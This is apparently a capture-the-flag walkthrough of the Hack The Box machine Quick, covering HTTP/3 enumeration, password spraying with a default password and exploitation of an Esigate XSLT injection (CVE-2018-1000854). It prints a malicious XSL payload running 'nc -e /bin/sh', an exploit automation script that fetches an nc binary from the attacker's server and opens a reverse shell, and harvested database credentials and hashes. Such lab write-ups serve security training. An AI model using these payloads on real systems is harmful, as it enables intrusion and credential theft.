HTB - Quick

Zweilosec's write-up on the hard difficulty Linux machine Quick from


Short description to include any strange things to be dealt with

Useful Skills and Tools

Connecting to HTTPS through UDP (QUIC protocol)

  • quiche [link]
  • experimental curl features [link]
  • can also change settings in-browser experimental settings [link]

Upgrading a limited shell to a full TTY

  1. 1.
    Determine the installed version of python with which python.
  2. 2.
    Spawn a Bash shell through python's PTY with python -c 'import pty;pty.spawn("/bin/bash")'.
  3. 3.
    Hit CTRL+Z to background the shell.
  4. 4.
    Type stty raw -echo to enable all input to be sent raw through your reverse shell.
  5. 5.
    Type fg to return your shell to the foreground.
  6. 6.
    Enable screen clearing and colors with export TERM=xterm-256color

Creating an SSH tunnel for port forwarding

  • -L flag
  • link
  • example


Nmap scan

I started my enumeration with an nmap scan of The options I regularly use are: -p-, which is a shortcut which tells nmap to scan all ports, -sC is the equivalent to --script=default and runs a collection of nmap enumeration scripts against the target, -sV does a service scan, and -oN <name> saves the output with a filename of <name>.
[email protected]:~$ nmap -p- -sC -sV -oN quick.nmap
Starting Nmap 7.80 ( ) at 2020-08-10 14:35 EDT
Nmap scan report for
Host is up (0.055s latency).
Not shown: 65533 closed ports
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 fb:b0:61:82:39:50:4b:21:a8:62:98:4c:9c:38:82:70 (RSA)
| 256 ee:bb:4b:72:63:17:10:ee:08:ff:e5:86:71:fe:8f:80 (ECDSA)
|_ 256 80:a6:c2:73:41:f0:35:4e:5f:61:a7:6a:50:ea:b8:2e (ED25519)
9001/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Quick | Broadband Services
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 131.16 seconds
Based on my Nmap scan of TCP ports, there were only two open: SSH on the default port 22 and an Apache website being served over HTTP on the non-standard port 9001.
I opened a browser to see that was hosted on HTTP, and got a website which appeared to belong to a business selling broadband internet.
There was also a list of currently subscribed clients at /clients.php.
The main site says "Upto 17MBps - £18 | Upto 50MBps - £27" and because the price is in pounds it indicates that this might be a UK service provider. Correlating the countries of the clients, the company names, and the names on the Testimonials section gave me a potential list of users. I also noted that only two clients (Tim from Qconsulting and Elisa from Wink) were from the UK and rated them as higher priority targets for potential access.
Tim (Qconsulting Pvt Ltd) - UK
Roy (DarkWng Solutions) - US
Elisa (Wink Media) - UK
James (LazyCoop Pvt Ltd) - China
My shortlist of potential usernames had four entries on it.
Clicking on the "Get Started" link led to a login page at I attempted to see if any of these names would give me a positive error indicating a valid username, but the form required email addresses rather than usernames so it yielded nothing.
According to my dirbuster scan there was an exposed db.php, though I was not sure how to interact with it. Navigating to that site only brought up a blank page.
On the main page, there was a link to portal.quick.htb, which I added to my hosts file. It seemed to be an exact copy of the first page, except for the link that led to portal.quick.htb was an HTTPS site that did not connect.
I did notice something interesting while viewing the requests in Burp though: there was an HTTP header that said X-Powered-By: Esigate. Some research revealed that this was a webapp integration backend for the site. My research also found that there were some vulnerabilities that could be exploited in this software, though they required an exposed form where specifically crafted requests could bypass security controls. Unfortunately I didn't have anywhere to test for this vulnerability yet.
I also noted that the apache server-status page was accessible, which could lead to a serious data disclosure vulnerability. I found some exploit code to take advantage of this at, but this site didn't seem to have any data exposed that could help me.

Nmap redux

Unfortunately this next part was spoiled for me a bit by someone mentioning that TCP was the only protocol that Nmap scanned by default and further enumeration was required. This was enough of a clue for my to try a UDP scan to see if there were any more ports open.
UDP scans take much, much longer to complete due to the way enumeration has to be done. Potential open UDP ports are determined by not receiving a response back from a probe, as opposed to TCP where a TCP - ACK is generally indicative of an open port, and a RST means the port is closed. UDP does not use flags in the same way as TCP, and relies on ICMP port unreachable messages to relay closed ports.
I recommend not scanning all 65536 ports at a time if you ever need to scan UDP, and do it in chunks. This scan also requires root privileges to run.
[email protected]:/home/zweilos/htb/quick# nmap --reason -sU -Pn -A -p1-1000 -oN quick.nmap-udp
Starting Nmap 7.80 ( ) at 2020-08-10 18:51 EDT
Nmap scan report for quick.htb (
Host is up, received user-set (0.052s latency).
Scanned at 2020-08-10 18:51:59 EDT for 1348s
Not shown: 999 closed ports
Reason: 999 port-unreaches
443/udp open|filtered https no-response
Too many fingerprints match this host to give specific OS details
TCP/IP fingerprint:
Network Distance: 2 hops
TRACEROUTE (using port 979/udp)
1 76.04 ms
2 76.30 ms quick.htb (
OS and Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 1348.02 seconds
Raw packets sent: 1444 (43.230KB) | Rcvd: 1157 (70.616KB)
There was one UDP port that seemed to be open. Next I did some research on HTTPS over UDP port 443 and found some articles on the new protocol HTTP/3. I remember reading about the new HTTPS protocol over UDP which used a protocol called QUIC, but I didn't expect it to already by implemented in a Hack the Box challenge (kudos to MrR3boot!).
The QUIC protocol is used in HTTP/3 and utilizes UDP for a fast connectionless "session". Since most websites are simple requests and responses, UDP works fine, because the extra overhead from TCP just slows everything down. Supposedly QUIC will be much faster (pun intended?).
This explains why the portal.quick.htb site had a link to an https:// site that didn't work, since the browser expects TCP:443, and most browsers do not currently support the new protocol which uses UDP. I did some looking around to see if any browsers did have support, and found It seems that some browers such as Google Chrome (or Chromium) can enable quic in the experimental settings page at chrome://flags.
It seems that some browsers such as Google Chrome (or Chromium) can enable QUIC in the experimental settings page at chrome://flags.

Building an HTTP/3 version of cURL

While reading up on HTTP/3 and determining if a site supports it or not I found the site It mentioned a version of cURL that can be built from source that supports this protocol, so I downloaded the code from the GitHub repository at and followed the instructions.
quiche version
Build quiche and BoringSSL:
% git clone --recursive
% cd quiche
% cargo build --release --features pkg-config-meta,qlog
% mkdir deps/boringssl/src/lib
% ln -vnf $(find target/release -name libcrypto.a -o -name libssl.a) deps/boringssl/src/lib/
Build curl:
% cd ..
% git clone
% cd curl
% ./buildconf
% ./configure LDFLAGS="-Wl,-rpath,$PWD/../quiche/target/release" --with-ssl=$PWD/../quiche/deps/boringssl/src --with-quiche=$PWD/../quiche/target/release --enable-alt-svc
% make
Use HTTP/3 directly:
curl --http3
Upgrade via Alt-Svc:
curl --alt-svc altsvc.cache
After installing the Rust language (and many other dependencies) I had a shiny new experimental version of curl to play with that had HTTP/3 support.
Since I didn't want to just live in the install directory I created an alias of curl3 to the new curl with alias curl3=</install_path/>curl
[email protected]:~/htb/quick$ curl3 --http3 https://portal.quick.htb/
<title> Quick | Customer Portal</title>
<h1>Quick | Portal</h1>
...snipped CSS...
<p> Welcome to Quick User Portal</p>
<li><a href="index.php">Home</a></li>
<li><a href="index.php?view=contact">Contact</a></li>
<li><a href="index.php?view=about">About</a></li>
<li><a href="index.php?view=docs">References</a></li>
With this new tool I was able to download the page at https://portal.quick.htb. There were four pages listed: index.php, contact, about, and docs.
[email protected]:~/htb/quick$ curl3 --http3 https://portal.quick.htb/index.php?view=contact
<!DOCTYPE html>
<meta name="viewport" content="width=device-width, initial-scale=1">
...snipped CSS...
<h1>Quick | Contact</h1>
<div class="container">
<form action="/">
<label for="fname">First Name</label>
<input type="text" id="fname" name="firstname" placeholder="Your name..">
<label for="lname">Last Name</label>
<input type="text" id="lname" name="lastname" placeholder="Your last name..">
<label for="country">Country</label>
<select id="country" name="country">
<option value="australia">Australia</option>
<option value="canada">Canada</option>
<option value="usa">USA</option>
<label for="subject">Subject</label>
<textarea id="subject" name="subject" placeholder="Write something.." style="height:200px"></textarea>
<input type="submit" value="Submit">
The /contact page looked like a work in progress and had no useful information.
[email protected]:~/htb/quick$ curl3 --http3 https://portal.quick.htb/index.php?view=about
<!DOCTYPE html>
<meta name="viewport" content="width=device-width, initial-scale=1">
...snipped CSS...
<div class="about-section">
<h1>Quick | About Us </h1>
<h2 style="text-align:center">Our Team</h2>
<div class="row">
<div class="column">
<div class="card">
<img src="/w3images/team1.jpg" alt="Jane" style="width:100%">
<div class="container">
<h2>Jane Doe</h2>
<p class="title">CEO & Founder</p>
<p>Quick Broadband services established in 2012 by Jane.</p>
<div class="column">
<div class="card">
<img src="/w3images/team2.jpg" alt="Mike" style="width:100%">
<div class="container">
<h2>Mike Ross</h2>
<p class="title">Sales Manager</p>
<p>Manages the sales and services.</p>
<div class="column">
<div class="card">
<img src="/w3images/team3.jpg" alt="John" style="width:100%">
<div class="container">
<h2>John Doe</h2>
<p class="title">Web Designer</p>
<p>Front end developer.</p>
The /about page contained three potential users and useful email addresses: Jane Doe [email protected], Mike Ross [email protected], and John Doe [email protected].
[email protected]:~/htb/quick$ curl3 --http3 https://portal.quick.htb/index.php?view=docs
<!DOCTYPE html>
<meta name="viewport" content="width=device-width, initial-scale=1">
<h1>Quick | References</h1>
<li><a href="docs/QuickStart.pdf">Quick-Start Guide</a></li>
<li><a href="docs/Connectivity.pdf">Connectivity Guide</a></li>
The /docs page contained references to two PDF files. I downloaded them to see if I could find more juicy information.
[email protected]:~/htb/quick$ curl3 --http3 https://portal.quick.htb/docs/QuickStart.pdf --output quickstart.pdf
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 228k 100 228k 0 0 668k 0 --:--:-- --:--:-- --:--:-- 666k
[email protected]:~/htb/quick$ curl3 --http3 https://portal.quick.htb/docs/Connectivity.pdf --output connectivity.pdf
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 83830 100 83830 0 0 258k 0 --:--:-- --:--:-- --:--:-- 257k
Both PDFs downloaded with no issues using the new cURL tool. The document Connectivity.pdf contained some interesting information!
Apparently this broadband provider gives their customers a default password to use to log into their accounts. I hoped that one of the clients was lazy enough to use the same password to log into the portal, and then not change it later.
The file Connectivity.pdf also had a link that led back to the first site: http://quick.htb, while the other document linked back to the HTTPS version. I thought that maybe this was a clue to log into the first site.
It took a little bit of guesswork to figure out how to log into the site since I couldn't see any clues that pointed to any email addresses other than the three @quick.htb ones. I first tried iterating through all of the names I had found while adding @quick.htb on the the end, but that wasn't successful. Next I decided that since they provided the company names and countries for each of the users, I could make potential email addresses out of those.
[email protected]:~/htb/quick$ wfuzz -w users -c -X POST -u 'http://quick.htb:9001/login.php' -d 'email=FUZZ&password=Quick4cc3$$'
Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
* Wfuzz 2.4.5 - The Web Fuzzer *
Target: http://quick.htb:9001/login.php
Total requests: 7
ID Response Lines Word Chars Payload
000000003: 200 0 L 2 W 80 Ch "[email protected]"
000000001: 200 0 L 2 W 80 Ch "[email protected]"
000000002: 302 0 L 0 W 0 Ch "[email protected]"
000000004: 200 0 L 2 W 80 Ch "[email protected]"
000000005: 200 0 L 2 W 80 Ch "[email protected]"
000000006: 200 0 L 2 W 80 Ch "[email protected]"
000000007: 200 0 L 2 W 80 Ch "[email protected]"
Total time: 0.105150
Processed Requests: 7
Filtered Requests: 0
Requests/sec.: 66.57097
I loaded my potential email address list into wfuzz and used it to username-spray the website. My hunch seemed to be right! That 302 HTTP response above meant I had found a successful login for [email protected]! I'm actually surprised there was only one user that used the default password provided to log in! :P
POST /login.php HTTP/1.1
Host: quick.htb:9001
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://quick.htb:9001/login.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 49
Connection: close
Cookie: PHPSESSID=nl56u8c71du29c6v8rafi3h23k
Upgrade-Insecure-Requests: 1
DNT: 1
I made sure to capture the login credentials in Burp so I could easily resend them any time I needed.

Initial Foothold

Now that I was logged into the portal, I had access to the /home, /ticket, and /search pages I had seen in my dirbuster output earlier.
The ticketing page had an entry field that gave me a ticket number when I submitted it.
Since I now had access to some fields that I could send input through, I decided to test out that Esigate vulnerability I had read about earlier to see if it could be exploited. It was assigned as CVE-2018-1000854.
[email protected]:~/htb/quick$ python -m SimpleHTTPServer 9088
Serving HTTP on port 9088 ... - - [11/Aug/2020 21:15:36] "GET /evil.xsl HTTP/1.1" 200 -
I followed the instructions in the blog and crafted an XSL file, which contained specially formed XML code that would be read and executed by Esigate when reflected into an XML file.
I submitted the above code into the ticketing system, which caused Esigate to load the evil.xml file with my code from the evil.xsl code reflected into it as a "stylesheet".
<?xml version="1.0" ?>
<xsl:stylesheet version="1.0" xmlns:xsl="">
<xsl:output method="xml" omit-xml-declaration="yes"/>
<xsl:template match="/"
<xsl:variable name="cmd"><![CDATA[./nc -e /bin/sh 13371]]></xsl:variable>
<xsl:variable name="rtObj" select="rt:getRuntime()"/>
<xsl:variable name="process" select="rt:exec($rtObj, $cmd)"/>
Process: <xsl:value-of select="$process"/>
Command: <xsl:value-of select="$cmd"/>
After some testing I found that the vulnerability indeed existed in the ticket search function! After submitting my "ticket" to the system searching for the ticket number caused the code in the malicious XML file to be read and executed by Esigate.
[email protected]:~/htb/quick$ python -m SimpleHTTPServer 9088
Serving HTTP on port 9088 ... - - [11/Aug/2020 21:35:46] code 404, message File not found - - [11/Aug/2020 21:35:46] "GET HTTP/1.1" 404 - - - [11/Aug/2020 21:47:27] code 404, message File not found - - [11/Aug/2020 21:47:27] "GET HTTP/1.1" 404 - - - [11/Aug/2020 21:47:41] code 404, message File not found - - [11/Aug/2020 21:47:41] "GET HTTP/1.1" 404 - - - [11/Aug/2020 21:47:47] code 404, message File not found - - [11/Aug/2020 21:47:47] "GET HTTP/1.1" 404 - - - [11/Aug/2020 21:53:58] code 404, message File not found - - [11/Aug/2020 21:53:58] "GET HTTP/1.1" 404 - - - [11/Aug/2020 21:59:59] "GET /test.xsl HTTP/1.1" 200 - - - [11/Aug/2020 21:59:59] "GET /test.xml HTTP/1.1" 200 - - - [11/Aug/2020 22:03:31] code 404, message File not found - - [11/Aug/2020 22:03:31] "GET HTTP/1.1" 404 - - - [11/Aug/2020 22:06:43] "GET /test1.xsl HTTP/1.1" 200 - - - [11/Aug/2020 22:06:44] "GET /test1.xml HTTP/1.1" 200 -
After quite a bit of head-scratching and testing, I found that I could only use a specific filename once. After that it caused a 404 error for even files that definitely exist on my locally hosted python server. I wasn't sure what was going on but it must have been something the server was doing.
[email protected]:~/htb/quick$ nc -lvnp 13371 > passwd
listening on [any] 13371 ...
connect to [] from (UNKNOWN) [] 43030
During some of my testing, I tried to get the server to send me /etc/passwd, but unfortunately the file was blank. After testing it again a different way, I concluded that this command was being blocked so nothing was being sent. The important thing was that I could see that my test exploit worked.
Next I created a python script to automate the file upload and ticket search activation process.
#!/usr/bin/env python3
#coding: utf8
#Created by zweilosec (WolfZweiler) for CVE-2018-1000854 (as exposed in HTB - quick)
import requests
from bs4 import BeautifulSoup
import time
import sys
login_url = "http://quick.htb:9001/login.php"
login_data = '[email protected]&password=Quick4cc3$$'
login_headers = {
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': 'gzip, deflate',
'Cookie': 'PHPSESSID=03u65s156tk17dfddsi28m7rld',
'Referer': 'http://quick.htb:9001/login.php',
'Content-Type': 'application/x-www-form-urlencoded',
'Host': 'quick.htb:9001'}
#TODO: Get headers from an initial GET request so have accurate PHPSESSID (not hard-coded)
ticket_url = "http://quick.htb:9001/ticket.php"
ticket_headers = {
'Host': 'quick.htb:9001',
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': 'gzip, deflate',
'Referer': 'http://quick.htb:9001/ticket.php',
'Content-Type': 'application/x-www-form-urlencoded',
'Cookie': 'PHPSESSID=03u65s156tk17dfddsi28m7rld'}
esi1 = 'title=evil&msg="<esi:include src="" stylesheet=""></esi:include>"&id=TKT-1234'
esi2 = 'title=evil1&msg="<esi:include src="" stylesheet=""></esi:include>"&id=TKT-2345'
esi3 = 'title=evil2&msg="<esi:include src="" stylesheet=""></esi:include>"&id=TKT-3456'
ticGet1_url = 'http://quick.htb:9001/search.php?search=1234'
ticGet2_url = 'http://quick.htb:9001/search.php?search=2345'
ticGet3_url = 'http://quick.htb:9001/search.php?search=3456'
ticGet_headers = {
'Host': 'quick.htb:9001',
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0',
'Accept': '*/*',
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': 'gzip, deflate',
'Referer': 'http://quick.htb:9001/home.php',
'X-Requested-With': 'XMLHttpRequest',
'Connection': 'close',
'Cookie': 'PHPSESSID=03u65s156tk17dfddsi28m7rld',
'DNT': '1'}
esi1_r, esi2_r, esi3_r = None, None, None
login_r =, headers = login_headers, data = login_data)
#login_r.status_code should be == 302, however this login request is not working correctly
#need to further troubleshoot; for now bypassed by logging in with burp
if login_r.status_code == 200:
print("Login successful!\n")
esi1_r =, headers = ticket_headers, data = esi1)
ticGet1_r = requests.get(ticGet1_url, headers = ticGet_headers)
print("The request failed with status code: " + str(login_r.status_code))
print("Did not login successfully :(\n")
print("Dumping response text:\n\n")
if esi1_r.status_code == 200:
print("Evil1 upload successful!\n")
esi2_r =, headers = ticket_headers, data = esi2)
ticGet2_r = requests.get(ticGet2_url, headers = ticGet_headers)
print("The request failed with status code: " + str(esi1_r.status_code))
print("Did not upload evil1 successfully :(\n")
if esi2_r.status_code == 200:
print("Evil2 upload successful!\n")
esi3_r =, headers = ticket_headers, data = esi3)
ticGet3_r = requests.get(ticGet3_url, headers = ticGet_headers)
print("The request failed with status code: " + str(esi2_r.status_code))
print("Did not upload evil2 successfully :(\n")
if esi3_r.status_code == 200:
print("Evil3 upload successful!\n")
print("Check your nc should be inbound!\n")
print("The request failed with status code: " + str(esi3_r.status_code))
print("Did not upload evil3 successfully :(\n")
#TODO: generalize urls and other data to be used other than in HTB; perhaps take as input arguments URL, PORT, USER, PASS, Commands to be run (foreach type loop)...
#TODO: exception handling
#TODO: instead of separate SimpleHTTPServer hosting different files, do in-script
#TODO: instead of nc listener in terminal, implement in-script
I ran the script with three separate ESL files. Each were loaded with commands that would enable me to get a reverse shell. The first send a version of nc that had the ability to execute commands upon connection. The second ran chmod +x nc to ensure it was executable. The third contained my reverse shell command that would connect back to my machine. I loaded up all of my files with different filenames, executed my script, and crossed my fingers hoping that everything would work.
[email protected]:~/htb/quick$ python3
Login successful!
Ticket submitted: code - 200
Evil1 upload successful!
Ticket submitted: code - 200
Evil2 upload successful!
Ticket submitted: code - 200
Evil3 upload successful!
Check your nc should be inbound!
Everything looked like it completed without errors...
[email protected]:~/htb/quick$ python -m SimpleHTTPServer 9088
Serving HTTP on port 9088 ... - - [15/Aug/2020 12:24:41] "GET /evil.xsl HTTP/1.1" 200 - - - [15/Aug/2020 12:24:42] "GET /evil.xml HTTP/1.1" 200 - - - [15/Aug/2020 12:24:42] "GET /nc HTTP/1.1" 200 - - - [15/Aug/2020 12:24:45] "GET /evil1.xsl HTTP/1.1" 200 - - - [15/Aug/2020 12:24:45] "GET /evil1.xml HTTP/1.1" 200 - - - [15/Aug/2020 12:24:47] "GET /evil2.xsl HTTP/1.1" 200 - - - [15/Aug/2020 12:24:47] "GET /evil2.xml HTTP/1.1" 200 -
All of my files were uploaded successfully...
[email protected]:~/htb/quick$ nc -lvnp 13371
listening on [any] 13371 ...
connect to [] from (UNKNOWN) [] 39638
whoami && hostname
which python
python -c 'import pty;pty.spawn("/bin/bash")'
[1]+ Stopped nc -lvnp 13371
[email protected]:~/htb/quick$ stty raw -echo
[email protected]:~/htb/quick$ nc -lvnp 13371
[email protected]:~$ export TERM=xterm-256color
And... I was in. I received a limited shell at my waiting listener that I quickly upgraded to a fully interactive Bash shell using python.


The first thing to do after gaining access was to claim my proof.
[email protected]:~$ cat user.txt

Path to Power (Gaining Administrator Access)

Enumeration as sam

The first thing I do after gaining an account on a machine is to find out what kind of privileges are available by using sudo -l. Unfortunately there was nothing I could run without the password.
[email protected]:~/esigate-distribution-5.2$ ls -la
total 20
drwxr-xr-x 5 sam sam 4096 Mar 20 03:01 .
drwxr-xr-x 6 sam sam 4096 Aug 15 16:44 ..
drwxr-xr-x 3 sam sam 4096 Aug 15 16:41 apps
drwxr-xr-x 2 sam sam 4096 Oct 11 2017 lib
drwxr-xr-x 18 sam sam 4096 Oct 11 2017 src
[email protected]:~/esigate-distribution-5.2$ ls -la apps/
total 9492
drwxr-xr-x 3 sam sam 4096 Aug 15 15:33 .
drwxr-xr-x 5 sam sam 4096 Mar 20 03:01 ..
-rw-r--r-- 1 sam sam 63 Mar 20 03:01
-rw-r--r-- 1 sam sam 6700842 Oct 11 2017 esigate-server.jar
-rw-r--r-- 1 sam sam 3000503 Oct 11 2017 esigate-war.war
drwxrwxr-x 3 sam sam 4096 Aug 15 15:33 work
[email protected]:~/esigate-distribution-5.2$ ls -la lib/
total 2792
drwxr-xr-x 2 sam sam 4096 Oct 11 2017 .
drwxr-xr-x 5 sam sam 4096 Mar 20 03:01 ..
-rw-r--r-- 1 sam sam 263965 Mar 10 2016 commons-codec-1.9.jar
-rw-r--r-- 1 sam sam 159509 Mar 11 2011 commons-io-2.0.1.jar
-rw-r--r-- 1 sam sam 412739 Jan 19 2016 commons-lang3-3.3.2.jar
-rw-r--r-- 1 sam sam 4981 Oct 11 2017 esigate-cas-5.2.jar
-rw-r--r-- 1 sam sam 314645 Oct 11 2017 esigate-core-5.2.jar
-rw-r--r-- 1 sam sam 24225 Oct 11 2017 esigate-servlet-5.2.jar
-rw-r--r-- 1 sam sam 295791 Oct 20 2012 htmlparser-1.4.jar
-rw-r--r-- 1 sam sam 736658 May 18 2016 httpclient-4.5.2.jar
-rw-r--r-- 1 sam sam 158984 May 18 2016 httpclient-cache-4.5.2.jar
-rw-r--r-- 1 sam sam 326724 May 18 2016 httpcore-4.4.4.jar
-rw-r--r-- 1 sam sam 16519 Sep 25 2014 jcl-over-slf4j-1.7.7.jar
-rw-r--r-- 1 sam sam 85448 Apr 24 2014 metrics-core-3.0.2.jar
-rw-r--r-- 1 sam sam 29257 Sep 11 2015 slf4j-api-1.7.7.jar
[email protected]:~/esigate-distribution-5.2$ ls -la src/
total 72
drwxr-xr-x 18 sam sam 4096 Oct 11 2017 .
drwxr-xr-x 5 sam sam 4096 Mar 20 03:01 ..
drwxr-xr-x 3 sam sam 4096 Oct 11 2017 esigate
drwxr-xr-x 3 sam sam 4096 Oct 11 2017 esigate-app-aggregated1
drwxr-xr-x 3 sam sam 4096 Oct 11 2017 esigate-app-aggregated2
drwxr-xr-x 3 sam sam 4096 Oct 11 2017 esigate-app-aggregator
drwxr-xr-x 3 sam sam 4096 Oct 11 2017 esigate-app-cas
drwxr-xr-x 3 sam sam 4096 Oct 11 2017 esigate-app-casified-aggregated1
drwxr-xr-x 3 sam sam 4096 Oct 11 2017 esigate-app-casified-aggregated2
drwxr-xr-x 3 sam sam 4096 Oct 11 2017 esigate-app-casified-aggregator
drwxr-xr-x 3 sam sam 4096 Oct 11 2017 esigate-app-master
drwxr-xr-x 3 sam sam 4096 Oct 11 2017 esigate-app-provider
drwxr-xr-x 3 sam sam 4096 Oct 11 2017 esigate-cas
drwxr-xr-x 3 sam sam 4096 Oct 11 2017 esigate-core
drwxr-xr-x 3 sam sam 4096 Oct 11 2017 esigate-distribution
drwxr-xr-x 3 sam sam 4096 Oct 11 2017 esigate-server
drwxr-xr-x 3 sam sam 4096 Oct 11 2017 esigate-servlet
drwxr-xr-x 3 sam sam 4096 Oct 11 2017 esigate-war
I started looking though all of the Esigate files since that was what got me in, but there wasn't anything useful there.
[email protected]:~/esigate-distribution-5.2$ cat /etc/passwd
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
mysql:x:111:115:MySQL Server,,,:/nonexistent:/bin/false
I printed out /etc/passwd to see what users and services were available, and found three users with login capability: root, sam, and srvadm.
[email protected]:~/esigate-distribution-5.2$ netstat -tulvnp
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0* LISTEN -
tcp 0 0* LISTEN -
tcp 0 0* LISTEN -
tcp 0 0* LISTEN -
tcp 0 0* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
tcp6 0 0 :::9001 :::* LISTEN 926/java
tcp6 0 0 :::* LISTEN 926/java
udp 0 0* -
udp6 0 0 :::443 :::* -
[email protected]:~/esigate-distribution-5.2$ nc 8081
HTTP/1.1 400 No URI
Content-Length: 0
Connection: close
Server: Jetty(9.1.z-SNAPSHOT)
Netstat identified a few extra ports open from the inside that I couldn't reach from my machine. On port 8081 I found a Jetty server version 9.1.z-SNAPSHOT, and found vulnerabilities related to this at, but nothing that led anywhere.
root 1173 0.0 1.0 1034316 42320 ? Ssl 15:33 0:01 /usr/bin/containerd
root 1175 0.0 2.1 1273752 86712 ? Ssl 15:33 0:02 /usr/bin/dockerd -H fd:// --containerd=/run/containerd/containerd.sock
root 1223 0.0 0.0 14888 1992 tty1 Ss+ 15:33 0:00 /sbin/agetty -o -p -- \u --noclear tty1 linux
root 1224 0.0 0.1 288884 6648 ? Ssl 15:33 0:00 /usr/lib/policykit-1/polkitd --no-debug
root 1266 0.0 0.1 72300 5768 ? Ss 15:33 0:00 /usr/sbin/sshd -D
root 1378 0.0 0.5 376244 22876 ? Ss 15:33 0:00 /usr/sbin/apache2 -k start
root 1925 0.0 0.0 478532 3644 ? Sl 15:33 0:00 /usr/bin/docker-proxy -proto udp -host-ip -host-port 443 -container-ip -container-port 443
root 1936 0.0 0.1 9364 5496 ? Sl 15:33 0:00 containerd-shim -namespace moby -workdir /var/lib/containerd/io.containerd.runtime.v1.linux/moby/d63025c3f05b572471c86c790059b05f36c75fc90d975cb19288d5bc88d238ee -address /run/containerd/containerd.sock -containerd-binary /usr/bin/containerd -runtime-root /var/run/docker/runtime-runc
root 1937 0.0 0.1 9364 5832 ? Sl 15:33 0:00 containerd-shim -namespace moby -workdir /var/lib/containerd/io.containerd.runtime.v1.linux/moby/f78e2c79d2db3e029679c14060e7dcab4ffbba2167c107a7677f81024e8bc875 -address /run/containerd/containerd.sock -containerd-binary /usr/bin/containerd -runtime-root /var/run/docker/runtime-run
There were quite a few processes running related to fact, it looked like the UDP 443 port I connected to was running from a container. There was even an interface visible in ifconfig.
docker0: flags=4099 mtu 1500 inet netmask broadcast ether 02:42:f4:06:67:00 txqueuelen 0 (Ethernet) RX packets 0 bytes 0 (0.0 B) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 0 bytes 0 (0.0 B) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
I tried connecting to the docker container on that IP, but was rebuffed since I had no credentials.
Next I started looking through the website files in /var/www to see if there were any credentials left around, and found the email address [email protected] in the index.php file. This file also mentioned db.php which sounded like it might contain useful information.
$conn = new mysqli("localhost","db_adm","db_p4ss","quick");
I was not disappointed. I now had credentials to a MySQL database which I had seen running on port 3306 earlier.
In the folder /var/www/ I found a writeable folder jobs that was owned by root. This is always a good indication of a privilege escalation route. In /var/www/printers I also found the file job.php which looked promising.
[email protected]:/var/www/printer$ cat job.php
require __DIR__ . '/escpos-php/vendor/autoload.php';
use Mike42\Escpos\PrintConnectors\NetworkPrintConnector;
use Mike42\Escpos\Printer;
$file = date("Y-m-d_H:i:s");
$stmt=$conn->prepare("select ip,port from jobs");
if($result->num_rows > 0)
$connector = new NetworkPrintConnector($ip,$port);
sleep(0.5); //Buffer for socket check
$printer = new Printer($connector);
$printer -> text(file_get_contents("/var/www/jobs/".$file));
$printer -> cut();
$printer -> close();
$message="Job assigned";
catch(Exception $error)
$error="Can't connect to printer.";
$error="Couldn't find printer.";
This looked to me like I could make a file in the /jobs folder (where I was able to write), write to the file my IP and port, then the jobs.php will make a connection to my computer thinking it is trying to print. The only catch is that whoever triggers the print needs to be logged in. I felt that I needed to check the database to check for further credentials.
sam@quick:/var/www/html$ mysql -u db_adm -p quick
Enter password:
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 71
Server version: 5.7.29-0ubuntu0.18.04.1 (Ubuntu)
Copyright (c) 2000, 2020, Oracle and/or its affiliates. All rights reserved.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql> show tables;
| Tables_in_quick |
| jobs |
| tickets |
| users |
3 rows in set (0.00 sec)
mysql> select * from users;
| name | email | password |
| Elisa | | c6c35ae1f3cb19438e0199cfa72a9d9d |
| Server Admin | srvadm@quick.htb | e626d51f8fbfd1124fdea88396c35d05 |
2 rows in set (0.00 sec)
I found the users table which potentially had new creds in it, but I wasn't sure what type of hash or encryption had been used on it.
mysql> select * from tickets;
| id | title | description | status |
| TKT-4178 | ping test | "<esi:include src="" stylesheet=""></esi:include>" | open |
| TKT-4567 | evil | "<esi:include src="" stylesheet=""></esi:include>" | open |
